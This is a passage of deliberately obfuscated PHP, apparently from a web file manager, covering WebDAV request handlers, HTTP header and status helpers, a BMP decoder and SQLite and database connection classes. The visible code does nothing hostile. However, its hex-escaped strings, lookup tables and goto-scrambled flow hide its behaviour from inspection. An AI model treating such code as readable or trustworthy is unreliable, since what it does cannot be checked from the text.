$d뮽۝ = $this->parsePath($this->pathGet(!0)); if (isset($_SERVER[$BӍ[1785]])) { $dІŞ[$BӍ[1786]] = $_SERVER[$BӍ[1785]] == $BӍ[1787]; } $b崥 = $this->pathMove($this->path, $d뮽۝); return array($BӍ[1025] => $b崥 ? 201 : 404); } public function httpCOPY() { $aΘ = $this->parsePath($this->pathGet(!0)); $aΊ = $this->pathCopy($this->path, $aΘ); return array($_SERVER[ȦÆ][1025] => $aΊ ? 201 : 404); } public function httpDELETE() { $B = $this->pathRemove($this->path); return array($_SERVER[ȦÆ][1025] => $B ? 200 : 503); } public function httpLOCK() { $C׷ =& $_SERVER[ȦÆ]; $eޏ = md5($this->path); $a = $C׷[1788] . $this->xmlGet($C׷[1789]) . $C׷[1790] . $eޏ . $C׷[1791]; return array($C׷[1025] => 200, $C׷[1193] => array($C׷[1792] . $eޏ, $C׷[1793]), $C׷[1794] => $a); } public function httpUNLOCK() { return array($_SERVER[ȦÆ][1025] => 204); } public function xmlGet($C򺞲ԡ) { goto fϑ; Dг: return $Bê[43]; goto f˱; aګ凑: $D༦ = array_shift(explode($Bê[18], $C򺞲ԡ)); $Aͮ = $bӕ->getElementsByTagNameNS($Bê[1796], $D༦); if ($Aͮ) { return $Aͮ[0]->nodeValue; } goto Dг; fϑ: $Bê =& $_SERVER[ȦÆ]; static $bӕ = false; if (!$bӕ) { $Eֶ = file_get_contents($Bê[1795]); $bӕ = new DOMDocument(); $bӕ->loadXML($Eֶ); } goto aګ凑; f˱: } public static function response($D) { goto cؖܨћ; cؖܨћ: $bʑ =& $_SERVER[ȦÆ]; $A = is_array($D[$bʑ[1193]]) ? $D[$bʑ[1193]] : array(); $A[] = HttpHeader::code($D[$bʑ[1025]]); goto a֖; a֖: $A[] = $bʑ[1736]; $A[] = $bʑ[1737]; foreach ($A as $bҡ) { header($bҡ); } goto fџ; fџ: if (is_string($D[$bʑ[1794]])) { header($bʑ[1797]); $e = $bʑ[1798] . $bʑ[12] . $D[$bʑ[1794]]; echo $e; } goto Fÿۈ; Fÿۈ: } } class HttpHeader { public static $_headers = array("\x48\x6f\163\164" => "\110\x54\x54\x50\137\x48\117\x53\124", "\125\x73\145\162\55\x41\147\145\156\164" => "\110\x54\x54\120\137\125\123\105\122\x5f\101\x47\x45\x4e\x54", "\103\157\156\x74\x65\156\x74\x2d\x54\171\160\x65" => "\x48\124\124\x50\137\x43\117\116\x54\x45\116\x54\137\x54\x59\x50\x45", "\103\x6f\156\x74\145\x6e\164\x2d\114\x65\156\147\x74\x68" => "\110\x54\x54\120\137\103\x4f\116\x54\x45\x4e\x54\x5f\114\x45\116\107\124\110", "\x44\145\x70\x74\x68" => "\110\x54\124\120\x5f\x44\x45\x50\124\110", "\105\170\160\x65\143\164" => "\110\x54\124\120\x5f\x45\x58\x50\105\103\124", "\111\x66\55\116\x6f\x6e\x65\x2d\115\x61\x74\x63\150" => "\x48\124\124\x50\x5f\111\106\137\116\117\116\105\137\x4d\x41\x54\x43\110", "\111\x66\x2d\115\x61\164\143\x68" => "\x48\124\x54\120\137\x49\x46\137\x4d\x41\124\x43\110", "\111\146\x2d\x52\x61\x6e\147\145" => "\110\124\124\120\137\x49\106\137\x52\101\116\107\105", "\x4c\141\x73\164\x2d\115\157\144\x69\146\x69\145\x64" => "\110\x54\124\120\137\114\x41\123\x54\x5f\115\x4f\x44\111\106\x49\x45\104", "\x49\146\55\115\157\144\x69\x66\151\x65\x64\x2d\123\x69\x6e\143\145" => "\x48\x54\124\x50\x5f\x49\106\137\x4d\117\x44\111\106\111\x45\104\x5f\123\111\x4e\x43\x45", "\x49\146\55\x55\156\155\157\x64\151\146\151\145\x64\x2d\123\x69\x6e\x63\x65" => "\110\x54\x54\x50\x5f\111\106\137\x55\116\x4d\117\104\111\x46\x49\x45\104\x5f\x53\111\x4e\x43\x45", "\122\141\156\147\145" => "\110\124\x54\x50\x5f\x52\x41\x4e\x47\105", "\x54\151\155\145\x6f\165\164" => "\x48\x54\x54\120\x5f\x54\111\x4d\x45\117\125\124", "\111\146" => "\110\124\124\120\x5f\111\106", "\x4c\157\143\153\55\124\157\x6b\x65\156" => "\110\x54\124\120\x5f\x4c\x4f\x43\x4b\137\x54\117\113\x45\x4e", "\117\166\x65\x72\x77\162\x69\x74\145" => "\x48\x54\x54\x50\137\117\x56\105\122\127\x52\111\124\x45", "\104\145\163\164\151\x6e\x61\164\151\157\x6e" => "\110\124\124\x50\x5f\x44\105\123\x54\x49\x4e\101\124\x49\117\116", "\122\145\161\165\x65\163\164\55\x49\144" => "\x52\105\x51\125\105\x53\x54\x5f\x49\104", "\122\145\x71\x75\145\x73\164\55\x42\x6f\x64\171\x2d\106\151\154\x65" => "\x52\105\x51\x55\105\123\x54\137\x42\117\x44\131\137\x46\x49\x4c\105", "\122\145\x64\151\x72\145\143\164\x2d\x53\x74\x61\x74\165\x73" => "\122\x45\x44\x49\x52\105\103\124\137\x53\x54\x41\x54\x55\x53"); public static function init() { static $Dᤑ = false; if ($Dᤑ) { return; } foreach ($_SERVER as $F => $fв) { $F = strtoupper($F); if (!array_key_exists($F, $_SERVER)) { continue; } $_SERVER[$F] = $fв; } foreach (self::$_headers as $F => $FХڽވ) { if (!array_key_exists($F, $_SERVER)) { continue; } $_SERVER[$F] = $_SERVER[$FХڽވ]; $_SERVER[strtoupper($F)] = $_SERVER[$FХڽވ]; } } public static function get($CӚ) { self::init(); return $_SERVER[$CӚ] ? $_SERVER[$CӚ] : $_SERVER[$_SERVER[ȦÆ][1799] . strtoupper($CӚ)]; } public static function method() { return strtoupper(self::get($_SERVER[ȦÆ][160])); } public static function length() { $Eʅ =& $_SERVER[ȦÆ]; $Aߧ = self::get($Eʅ[1800]); if (!$Aߧ) { $Aߧ = self::get($Eʅ[1131]); } return $Aߧ; } public static function range() { $c =& $_SERVER[ȦÆ]; $Eҙ = self::get($c[204]); if (!$Eҙ) { return !1; } if (!preg_match($c[1801], $Eҙ, $a蝲)) { return !1; } if ($a蝲[1] === $c[43] && $a蝲[2] === $c[43]) { return !1; } return array($a蝲[1] !== $c[43] ? $a蝲[1] : null, $a蝲[2] !== $c[43] ? $a蝲[2] : null); } public static $statusCode = array("\61\60\60" => "\x43\x6f\x6e\164\151\156\165\x65", "\61\x30\x31" => "\123\x77\151\164\143\150\151\156\x67\x20\120\162\x6f\x74\157\143\157\154", "\61\60\x32" => "\x50\x72\157\143\145\x73\x73\x69\x6e\147", "\61\60\63" => "\105\x61\x72\x6c\171\x20\x48\151\x6e\164\163", "\x32\60\x30" => "\x4f\113", "\62\60\61" => "\x43\162\145\141\164\x65\x64", "\62\x30\62" => "\x41\x63\143\x65\160\164\x65\x64", "\62\x30\x33" => "\x4e\x6f\156\55\101\x75\x74\150\157\162\151\164\141\164\x69\166\x65\x20\x49\156\x66\x6f\162\x6d\x61\164\x69\157\156", "\62\x30\64" => "\116\157\40\103\x6f\156\x74\x65\156\x74", "\62\60\65" => "\x52\x65\x73\x65\x74\40\x43\157\x6e\x74\145\156\164", "\x32\x30\66" => "\120\141\x72\164\151\x61\x6c\x20\x43\157\156\x74\x65\x6e\x74", "\62\60\x37" => "\115\x75\x6c\x74\x69\55\x53\x74\x61\x74\x75\x73", "\x33\x30\60" => "\x4d\165\154\164\151\x70\x6c\x65\x20\103\150\x6f\x69\143\x65\x73", "\x33\60\x31" => "\x4d\157\x76\x65\144\40\x50\x65\x72\155\x61\156\145\156\x74\154\171", "\63\60\x32" => "\x46\157\x75\x6e\144", "\x33\x30\x33" => "\x53\145\145\40\x4f\x74\x68\x65\x72", "\63\x30\64" => "\x4e\157\x74\x20\x4d\x6f\144\x69\146\151\145\144", "\63\60\65" => "\125\163\145\40\x50\162\x6f\170\171", "\63\x30\x37" => "\124\145\x6d\160\157\x72\x61\162\171\40\122\145\144\151\x72\x65\x63\x74", "\x33\60\70" => "\x50\145\x72\x6d\141\x6e\x65\x6e\164\x20\122\145\x64\x69\x72\145\x63\x74", "\x34\60\60" => "\102\x61\144\x20\x52\x65\x71\x75\145\163\164", "\x34\x30\x31" => "\x55\156\141\x75\x74\x68\157\x72\x69\172\145\144", "\64\x30\x32" => "\120\x61\171\x6d\145\x6e\164\40\122\x65\161\165\x69\162\145\144", "\64\x30\x33" => "\106\157\162\142\151\x64\144\x65\x6e", "\x34\60\64" => "\x4e\x6f\164\40\x46\157\165\x6e\144", "\64\60\65" => "\x4d\x65\164\x68\157\144\40\116\157\x74\x20\x41\x6c\154\157\167\145\144", "\64\60\x36" => "\116\x6f\164\x20\101\143\143\x65\x70\164\141\142\x6c\145", "\x34\x30\67" => "\120\x72\x6f\170\171\x20\x41\165\164\150\x65\x6e\164\151\143\141\164\x69\x6f\x6e\40\x52\x65\x71\x75\151\x72\145\144", "\x34\x30\70" => "\122\x65\x71\x75\145\x73\x74\x20\124\x69\x6d\x65\157\165\x74", "\64\60\x39" => "\x43\157\x6e\146\154\x69\143\164", "\x34\61\x30" => "\x47\157\156\145", "\64\x31\x31" => "\x4c\x65\x6e\147\164\150\x20\x52\145\x71\x75\x69\162\x65\144", "\64\x31\x32" => "\120\x72\145\143\157\x6e\x64\151\164\151\157\x6e\40\x46\x61\151\x6c\145\144", "\64\61\x33" => "\122\145\161\165\145\163\164\x20\105\x6e\x74\151\164\171\x20\124\x6f\157\40\x4c\x61\x72\x67\145", "\64\x31\64" => "\x52\x65\x71\x75\x65\x73\164\x20\x55\122\111\40\x54\x6f\x6f\x20\x4c\141\162\x67\145", "\x34\61\x35" => "\x55\156\163\x75\x70\x70\x6f\x72\x74\145\x64\40\115\x65\144\x69\141\40\x54\x79\x70\x65", "\x34\x31\x36" => "\x52\x65\x71\x75\145\x73\x74\x65\144\40\122\141\156\x67\x65\x20\x4e\157\164\40\123\141\x74\x69\x73\146\151\x61\142\154\x65", "\x34\61\x37" => "\x45\170\160\x65\143\164\x61\164\x69\x6f\x6e\x20\106\x61\151\154\145\x64", "\x34\62\x32" => "\125\156\x70\162\x6f\x63\x65\163\x73\x61\x62\154\145\x20\105\156\164\151\x74\x79", "\64\62\x33" => "\114\x6f\x63\153\145\x64", "\64\x32\x34" => "\106\x61\151\x6c\x65\144\x20\104\145\160\145\x6e\144\145\156\x63\x79", "\x34\x32\x35" => "\125\156\157\x72\144\145\162\145\144\40\103\157\x6c\154\145\x63\164\151\x6f\156", "\x34\62\x36" => "\x55\160\147\162\x61\144\x65\x20\122\145\161\x75\x69\x72\x65\144", "\64\x32\70" => "\120\x72\145\143\x6f\x6e\144\151\164\x69\157\156\40\x52\x65\161\x75\151\x72\145\x64", "\64\62\x39" => "\124\157\x6f\x20\115\141\156\171\40\x52\x65\x71\x75\x65\163\164\163", "\x34\63\61" => "\x52\145\161\x75\x65\163\x74\40\110\145\x61\144\x65\x72\x20\106\x69\x65\x6c\x64\163\x20\124\157\157\x20\114\x61\x72\x67\145", "\64\x34\64" => "\116\157\40\x52\145\163\160\157\x6e\163\x65", "\64\65\x30" => "\102\x6c\157\x63\x6b\145\x64\40\x62\x79\x20\127\151\x6e\144\x6f\x77\163\x20\x50\141\162\145\x6e\x74\x61\154\x20\103\x6f\156\x74\162\x6f\154\x73", "\x34\65\61" => "\125\156\141\x76\141\x69\154\x61\x62\x6c\145\x20\106\x6f\162\x20\x4c\x65\x67\x61\x6c\x20\x52\x65\141\163\x6f\156\163", "\64\x39\64" => "\122\x65\161\x75\x65\x73\164\x20\110\x65\141\144\x65\x72\40\x54\157\157\40\114\141\162\x67\x65", "\x35\x30\60" => "\111\x6e\x74\x65\162\x6e\141\154\x20\x53\145\x72\x76\x65\x72\x20\105\x72\162\x6f\x72", "\65\x30\61" => "\x4e\157\x74\x20\111\x6d\160\x6c\x65\155\145\x6e\x74\x65\144", "\65\x30\62" => "\102\141\x64\x20\107\141\x74\x65\167\x61\171", "\65\60\x33" => "\x53\x65\162\x76\x69\x63\145\x20\x55\156\141\x76\141\151\x6c\141\x62\154\x65", "\x35\60\64" => "\107\x61\164\x65\167\x61\171\x20\124\151\x6d\x65\x6f\165\164", "\x35\x30\x35" => "\110\124\124\x50\40\x56\145\x72\x73\x69\x6f\x6e\x20\156\x6f\164\x20\163\165\x70\160\157\x72\x74\x65\x64", "\65\x30\x37" => "\111\156\x73\x75\x66\146\x69\143\x69\145\156\164\x20\123\164\x6f\x72\x61\147\x65"); public static function code($c㐌) { $B =& $_SERVER[ȦÆ]; $c㐌 = $c㐌 . $B[43]; $Eϓ = self::$statusCode[$c㐌]; $Eϓ = $Eϓ ? "\x48\124\124\120\57\x31\56\61\40{$c㐌}\40" . $Eϓ : $B[43]; return $Eϓ; } } class ImageGdBMP { public static function load($bӢ) { $C惍 = fopen($bӢ, $_SERVER[ȦÆ][1491]); if ($C惍 === !1) { return !1; } $e״ = self::loadFromStream($C惍); fclose($C惍); return $e״; } public static function loadFromStream($c) { $e咸 =& $_SERVER[ȦÆ]; $E = fread($c, 14); if ($E === !1) { return !1; } if ($E[0] != $e咸[1802] || $E[1] != $e咸[1803]) { return !1; } $bȋ = unpack($e咸[1804] . $e咸[1805] . $e咸[1806] . $e咸[1807] . $e咸[1808], $E); return self::loadFromStreamAndFileHeader($c, $bȋ); } public static function loadFromStreamAndFileHeader($b汱͞, array $fט) { goto C; F廉: if ($a == 0 || $A == 0 || $cɟ˔ != 1 || ($A߉ & $aㅓ) != 0 || ($A߉ & $dǸ) != 0 || ($A߉ & $fڊ) != 0 || ($aㅓ & $dǸ) != 0 || ($aㅓ & $fڊ) != 0 || ($dǸ & $fڊ) != 0) { return !1; } if ($aܨ == 4 || $aܨ == 5) { $eŕӂ = stream_get_contents($b汱͞, $Bʯ̪); if ($eŕӂ === !1) { return !1; } return imagecreatefromstring($eŕӂ); } $dřۖ = $a * $A + 31 >> 3 & ~3; goto B嚉Χ; B嚉Χ: $Dףט = abs($A); $a򔹱 = $A > 0 ? $Dףט - 1 : 0; $Dʈ⻇ = $A > 0 ? -1 : 1; goto Cٙ欲; A: if ($eŕӂ === !1) { return !1; } list(, $fѐ) = unpack($Bݤ[1809], $eŕӂ); if ($fѐ == 12) { goto CǺ; CǺ: $eŕӂ = fread($b汱͞, $fѐ - 4); if ($eŕӂ === !1) { return !1; } extract(unpack($Bݤ[1810] . $Bݤ[1811] . $Bݤ[1812] . $Bݤ[1813], $eŕӂ)); goto a; a: $d = $f吲 = $A߉ = $aܨ = 0; $aㅓ = 16711680; $dǸ = 65280; goto cϘ; cϘ: $fڊ = 255; goto Dɩ; Dɩ: } else { if (124 < $fѐ || $fѐ < 40) { return !1; } else { goto cΧ; cΧ: $eŕӂ = fread($b汱͞, 36); if ($eŕӂ === !1) { return !1; } extract(unpack($Bݤ[1814] . $Bݤ[1815] . $Bݤ[1812] . $Bݤ[1816] . $Bݤ[1817] . $Bݤ[1818] . $Bݤ[1819] . $Bݤ[1820] . $Bݤ[1821] . $Bݤ[1822], $eŕӂ)); goto D庎Ί; f῝: if (($A == 16 || $A == 24 || $A == 32) && $aܨ == 0 && $aㅓ == 0 && $dǸ == 0 && $fڊ == 0) { switch ($AÂ) { case 16: $aㅓ = 31744; $dǸ = 992; $fڊ = 31; break; case 24: case 32: $aㅓ = 16711680; $dǸ = 65280; $fڊ = 255; break; } } goto B܎; D庎Ί: if ($a & 2147483648) { $a = -(~$a & 4294967295) - 1; } if ($A & 2147483648) { $A = -(~$A & 4294967295) - 1; } if ($aϱ唡 & 2147483648) { $aϱ唡 = -(~$aϱ唡 & 4294967295) - 1; } goto FֲƼ; FֲƼ: if ($a & 2147483648) { $a = -(~$a & 4294967295) - 1; } if ($fט[$Bݤ[525]] != 0) { $C = $A == 1 || $A == 4 || $A == 8 ? ($d ? $d : pow(2, $AÂ)) << 2 : 0; $AՋ׈ = $Bʯ̪ ? $Bʯ̪ : ($a * $A + 31 >> 3 & ~3) * abs($A); $aݰ = $fט[$Bݤ[525]] - $AՋ׈ - $C - 14; if ($fѐ < $aݰ && 40 <= $fѐ && $fѐ <= 124) { $fѐ = $aݰ; } } if ($fѐ - 40 > 0) { $eŕӂ = fread($b汱͞, $fѐ - 40); if ($eŕӂ === !1) { return !1; } extract(unpack($Bݤ[1823] . $Bݤ[1824] . $Bݤ[1825] . $Bݤ[1826], $eŕӂ . str_repeat($Bݤ[1827], 120))); } else { $A߉ = $aㅓ = $dǸ = $fڊ = 0; } goto f῝; B܎: } } goto F廉; Cٙ欲: if ($A == 1 || $A == 4 || $A == 8) { goto f㉾; f㉾: $DЂ = imagecreate($a, $Dףט); $Aҫ = $fѐ == 12 ? 3 : 4; $d¸ = $d ? $d : pow(2, $AÂ); goto Aƙʰ; Aƙʰ: $Dߤ = array(); for ($f = 0; $f < $d¸; ++$f) { $eŕӂ = fread($b汱͞, $Aҫ); if ($eŕӂ === !1) { imagedestroy($DЂ); return !1; } extract(unpack($Bݤ[1828], $eŕӂ . $Bݤ[1827])); $Dߤ[] = imagecolorallocate($DЂ, $b֖, $d, $fޑ΋); } $Bݟ = 8 - $AÂ; goto D; D: $D⼔ = (1 << $AÂ) - 1 << $Bݟ; if ($aܨ == 1 || $aܨ == 2) { $cЪ = 0; $F = $A >> 2 & 1; for (;;) { if ($cЪ < -1 || $cЪ > $a || $a򔹱 < -1 || $a򔹱 > $A) { imagedestroy($DЂ); return !1; } $eŕӂ = fread($b汱͞, 1); if ($eŕӂ === !1) { imagedestroy($DЂ); return !1; } switch ($eŕӂ) { case $Bݤ[1827]: $eŕӂ = fread($b汱͞, 1); if ($eŕӂ === !1) { imagedestroy($DЂ); return !1; } switch ($eŕӂ) { case $Bݤ[1827]: $a򔹱 += $Dʈ⻇; $cЪ = 0; break; case $Bݤ[1829]: $a򔹱 = 0; $cЪ = 0; break 3; case $Bݤ[1830]: $eŕӂ = fread($b汱͞, 2); if ($eŕӂ === !1) { imagedestroy($DЂ); return !1; } list(, $DÎƔ, $f˭) = unpack($Bݤ[1831], $eŕӂ); $cЪ += $DÎƔ; $a򔹱 += $f˭ * $Dʈ⻇; break; default: list(, $B) = unpack($Bݤ[1832], $eŕӂ); $dݖ쟵 = ($B >> $F) + ($B & $F); $eŕӂ = fread($b汱͞, $dݖ쟵 + 1 & ~1); if ($eŕӂ === !1) { imagedestroy($DЂ); return !1; } for ($f = 0, $CܶΠ = 0; $f < $B; ++$f, ++$cЪ, $CܶΠ += $AÂ) { list(, $eɰ̏) = unpack($Bݤ[1832], $eŕӂ[$CܶΠ >> 3]); $fޑ΋ = $CܶΠ & 7; imagesetpixel($DЂ, $cЪ, $a򔹱, $Dߤ[($eɰ̏ & $D⼔ >> $fޑ΋) >> $Bݟ - $fޑ΋]); } break; } break; default: $f = fread($b汱͞, 1); if ($f === !1) { imagedestroy($DЂ); return !1; } list(, $fѣ, $eɰ̏) = unpack($Bݤ[1831], $eŕӂ . $f); for ($f = 0, $CܶΠ = 0; $f < $fѣ; ++$f, ++$cЪ, $CܶΠ += $AÂ) { $fޑ΋ = $CܶΠ & 7; imagesetpixel($DЂ, $cЪ, $a򔹱, $Dߤ[($eɰ̏ & $D⼔ >> $fޑ΋) >> $Bݟ - $fޑ΋]); } break; } } } else { for ($Dۨ = 0; $Dۨ < $Dףט; ++$Dۨ, $a򔹱 += $Dʈ⻇) { $eŕӂ = fread($b汱͞, $dřۖ); if ($eŕӂ === !1) { imagedestroy($DЂ); return !1; } $CܶΠ = 0; for ($cЪ = 0; $cЪ < $a; ++$cЪ, $CܶΠ += $AÂ) { list(, $eɰ̏) = unpack($Bݤ[1832], $eŕӂ[$CܶΠ >> 3]); $fޑ΋ = $CܶΠ & 7; imagesetpixel($DЂ, $cЪ, $a򔹱, $Dߤ[($eɰ̏ & $D⼔ >> $fޑ΋) >> $Bݟ - $fޑ΋]); } } } goto e׊; e׊: } else { goto cݓ; E߉: $Eڴ = $aㅓ ? 1 / $aㅓ : 1; $d󵇮 = $dǸ ? 1 / $dǸ : 1; $C = $fڊ ? 1 / $fڊ : 1; goto Fˑ; cݓ: $DЂ = imagecreatetruecolor($a, $Dףט); imagealphablending($DЂ, !1); if ($A߉) { imagesavealpha($DЂ, !0); } goto e; Fˑ: for ($Dۨ = 0; $Dۨ < $Dףט; ++$Dۨ, $a򔹱 += $Dʈ⻇) { $eŕӂ = fread($b汱͞, $dřۖ); if ($eŕӂ === !1) { imagedestroy($DЂ); return !1; } $CܶΠ = 0; for ($cЪ = 0; $cЪ < $a; ++$cЪ, $CܶΠ += $eԈ) { list(, $eɰ̏) = unpack($Bݤ[1809], substr($eŕӂ, $CܶΠ, $eԈ) . $Bݤ[1833]); $bݕà = $eɰ̏ & $A߉; $E߭ = $eɰ̏ & $aㅓ; $E硴Ӹ = $eɰ̏ & $dǸ; $bۼ = $eɰ̏ & $fڊ; $Aԋ֭ = $f繛 - (($bݕà << 7) - $bݕÃ) * $f; $b֖ = (($E߭ << 8) - $E߭) * $Eڴ; $d = (($E硴Ӹ << 8) - $E硴Ӹ) * $d󵇮; $fޑ΋ = (($bۼ << 8) - $bۼ) * $C; imagesetpixel($DЂ, $cЪ, $a򔹱, $Aԋ֭ << 24 | $b֖ << 16 | $d << 8 | $fޑ΋); } } imagealphablending($DЂ, !0); goto b毚; e: $eԈ = $A >> 3; $f繛 = $A߉ ? 127 : 0; $f = $A߉ ? 1 / $A߉ : 1; goto E߉; b毚: } return $DЂ; goto F; C: $Bݤ =& $_SERVER[ȦÆ]; if ($fט[$Bݤ[393]] != 19778) { return !1; } $eŕӂ = fread($b汱͞, 4); goto A; F: } } goto B; F: class DbSqlite extends DbSqliteBase { public function query($eɓö) { goto F̪; Eˮ’: if (!$aӎц) { return !1; } if (flock($aӎц, LOCK_EX)) { $DӒ = parent::query($eɓö); flock($aӎц, LOCK_UN); fclose($aӎц); return $DӒ; } flock($aӎц, LOCK_UN); goto b؅; b؅: fclose($aӎц); show_json($f״[869], !1); return !1; goto Cξ; F̪: $f״ =& $_SERVER[ȦÆ]; $FƗ = DATA_PATH . $f״[867]; $aӎц = fopen($FƗ, $f״[868]); goto Eˮ’; Cξ: } public function execute($fػք) { goto F̓ĵ; aʍ: if (!$aŽ) { return !1; } if (flock($aŽ, LOCK_EX)) { $e = parent::execute($fػք); flock($aŽ, LOCK_UN); fclose($aŽ); return $e; } flock($aŽ, LOCK_UN); goto B֚; F̓ĵ: $b =& $_SERVER[ȦÆ]; $aǦپ = DATA_PATH . $b[867]; $aŽ = fopen($aǦپ, $b[868]); goto aʍ; B֚: fclose($aŽ); show_json($b[869], !1); return !1; goto B; B: } } class DbSqlite3 extends DbSqlite3Base { public function query($b) { goto Bΐ١; B: if (!$E孚) { return !1; } if (flock($E孚, LOCK_EX)) { $eѰ = parent::query($b); flock($E孚, LOCK_UN); fclose($E孚); return $eѰ; } flock($E孚, LOCK_UN); goto A߫; Bΐ١: $FȌ =& $_SERVER[ȦÆ]; $BĂ = DATA_PATH . $FȌ[867]; $E孚 = fopen($BĂ, $FȌ[868]); goto B; A߫: fclose($E孚); show_json($FȌ[869], !1); return !1; goto c۪̐; c۪̐: } public function execute($Aʽ) { goto bƖ; bƖ: $Aǜ =& $_SERVER[ȦÆ]; $fٱ = DATA_PATH . $Aǜ[867]; $bژ = fopen($fٱ, $Aǜ[868]); goto a; a: if (!$bژ) { return !1; } if (flock($bژ, LOCK_EX)) { $Eӊ = parent::execute($Aʽ); flock($bژ, LOCK_UN); fclose($bژ); return $Eӊ; } flock($bژ, LOCK_UN); goto EӐŘ; EӐŘ: fclose($bژ); show_json($Aǜ[869], !1); return !1; goto cЌε; cЌε: } } class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\x5f\164\x68\151\x6e\153\x5f"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $exp = array("\x65\161" => "\x3d", "\156\x65\x71" => "\74\76", "\x67\x74" => "\76", "\145\x67\164" => "\76\x3d", "\x6c\x74" => "\x3c", "\x65\x6c\164" => "\x3c\x3d", "\156\x6f\164\x6c\151\x6b\145" => "\x4e\117\124\40\x4c\111\113\105", "\x6c\x69\153\145" => "\114\x49\113\105", "\151\x6e" => "\x49\116", "\x6e\x6f\164\151\156" => "\x4e\117\x54\x20\x49\x4e", "\156\157\x74\40\151\x6e" => "\116\x4f\x54\40\x49\116", "\x62\145\164\167\145\145\x6e" => "\x42\x45\x54\x57\105\105\x4e", "\156\157\164\142\145\x74\167\x65\x65\x6e" => "\x4e\117\x54\x20\x42\105\x54\127\105\x45\116", "\x6e\157\x74\40\142\145\164\167\x65\145\x6e" => "\x4e\117\x54\40\102\105\124\x57\x45\x45\x4e"); protected $selectSql = "\x53\105\114\105\103\124\x25\x44\111\123\x54\x49\x4e\x43\x54\45\x20\x25\x46\x49\105\x4c\104\x25\40\106\122\x4f\x4d\40\45\x54\x41\102\114\x45\45\x25\x4a\x4f\x49\116\x25\x25\127\110\x45\x52\x45\x25\x25\x47\x52\x4f\x55\x50\45\45\x48\x41\126\x49\x4e\x47\45\x25\117\122\104\105\122\x25\45\x4c\x49\115\x49\x54\45\x20\45\125\116\111\x4f\x4e\45\45\103\117\x4d\x4d\x45\116\124\x25"; protected $bind = array(); public static function getInstance() { $E = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[ȦÆ][870], $E); } public function factory($cɒ = '') { goto eˍ; eˍ: $f =& $_SERVER[ȦÆ]; $cɒ = $this->parseConfig($cɒ); if (empty($cɒ[$f[871]])) { think_exception(think_lang($f[872])); } goto Fý; e길: return $A̔; goto e䍘; Fý: $this->dbType = ucwords(strtolower($cɒ[$f[871]])); $dդ = $f[873] . $this->dbType; if (class_exists($dդ)) { $A̔ = new $dդ($cɒ); if ($f[725] != strtolower($cɒ[$f[871]])) { $A̔->dbType = strtoupper($this->dbType); } else { $A̔->dbType = $this->_getDsnType($cɒ[$f[823]]); } } else { think_exception(think_lang($f[874]) . $f[875] . $dդ); } goto e길; e䍘: } public function __call($b, $e) { if (method_exists($this, $b)) { return call_user_func_array(array($this, $b), $e); } } protected function _getDsnType($e۫) { $D̈ = explode($_SERVER[ȦÆ][4], $e۫); $Eε = strtoupper(trim($D̈[0])); return $Eε; } private function parseConfig($eՂ = '') { $Dƚ =& $_SERVER[ȦÆ]; if (!empty($eՂ) && is_string($eՂ)) { $eՂ = $this->parseDSN($eՂ); } elseif (is_array($eՂ)) { $eՂ = array_change_key_case($eՂ); $eՂ = array($Dƚ[871] => $eՂ[$Dƚ[724]], $Dƚ[796] => $eՂ[$Dƚ[876]], $Dƚ[797] => $eՂ[$Dƚ[877]], $Dƚ[794] => $eՂ[$Dƚ[878]], $Dƚ[795] => $eՂ[$Dƚ[879]], $Dƚ[27] => $eՂ[$Dƚ[880]], $Dƚ[823] => $eՂ[$Dƚ[726]], $Dƚ[23] => isset($eՂ[$Dƚ[881]]) ? $eՂ[$Dƚ[881]] : array()); } elseif (empty($eՂ)) { if (think_config($Dƚ[882]) && $Dƚ[725] != strtolower(think_config($Dƚ[883]))) { $eՂ = $this->parseDSN(think_config($Dƚ[882])); } else { $eՂ = array($Dƚ[871] => think_config($Dƚ[883]), $Dƚ[796] => think_config($Dƚ[884]), $Dƚ[797] => think_config($Dƚ[885]), $Dƚ[794] => think_config($Dƚ[886]), $Dƚ[795] => think_config($Dƚ[887]), $Dƚ[27] => think_config($Dƚ[239]), $Dƚ[823] => think_config($Dƚ[882]), $Dƚ[23] => think_config($Dƚ[888])); } } return $eՂ; } protected function initConnect($E = true) { if (1 == think_config($_SERVER[ȦÆ][28])) { $this->_linkID = $this->multiConnect($E); } else { if (!$this->connected) { $this->_linkID = $this->connect(); } } } protected function multiConnect($dѥ = false) { $D𗏅 =& $_SERVER[ȦÆ]; static $Aɑ = array(); if (empty($Aɑ)) { foreach ($this->config as $Cɳڍ => $Eا) { $Aɑ[$Cɳڍ] = explode($D𗏅[57], $Eا); } } if (think_config($D𗏅[889])) { if ($dѥ) { $A̞ = floor(mt_rand(0, think_config($D𗏅[890]) - 1)); } else { if (is_numeric(think_config($D𗏅[891]))) { $A̞ = think_config($D𗏅[891]); } else { $A̞ = floor(mt_rand(think_config($D𗏅[890]), count($Aɑ[$D𗏅[794]]) - 1)); } } } else { $A̞ = floor(mt_rand(0, count($Aɑ[$D𗏅[794]]) - 1)); } $B = array($D𗏅[796] => isset($Aɑ[$D𗏅[796]][$A̞]) ? $Aɑ[$D𗏅[796]][$A̞] : $Aɑ[$D𗏅[796]][0], $D𗏅[797] => isset($Aɑ[$D𗏅[797]][$A̞]) ? $Aɑ[$D𗏅[797]][$A̞] : $Aɑ[$D𗏅[797]][0], $D𗏅[794] => isset($Aɑ[$D𗏅[794]][$A̞]) ? $Aɑ[$D𗏅[794]][$A̞] : $Aɑ[$D𗏅[794]][0], $D𗏅[795] => isset($Aɑ[$D𗏅[795]][$A̞]) ? $Aɑ[$D𗏅[795]][$A̞] : $Aɑ[$D𗏅[795]][0], $D𗏅[27] => isset($Aɑ[$D𗏅[27]][$A̞]) ? $Aɑ[$D𗏅[27]][$A̞] : $Aɑ[$D𗏅[27]][0], $D𗏅[823] => isset($Aɑ[$D𗏅[823]][$A̞]) ? $Aɑ[$D𗏅[823]][$A̞] : $Aɑ[$D𗏅[823]][0], $D𗏅[23] => isset($Aɑ[$D𗏅[23]][$A̞]) ? $Aɑ[$D𗏅[23]][$A̞] : $Aɑ[$D𗏅[23]][0]); return $this->connect($B, $A̞); } public function parseDSN($b) { $C՝ =& $_SERVER[ȦÆ]; if (empty($b)) { return !1; } $Cճʣ = parse_url($b); if ($Cճʣ[$C՝[174]]) { $Cη = array($C՝[871] => 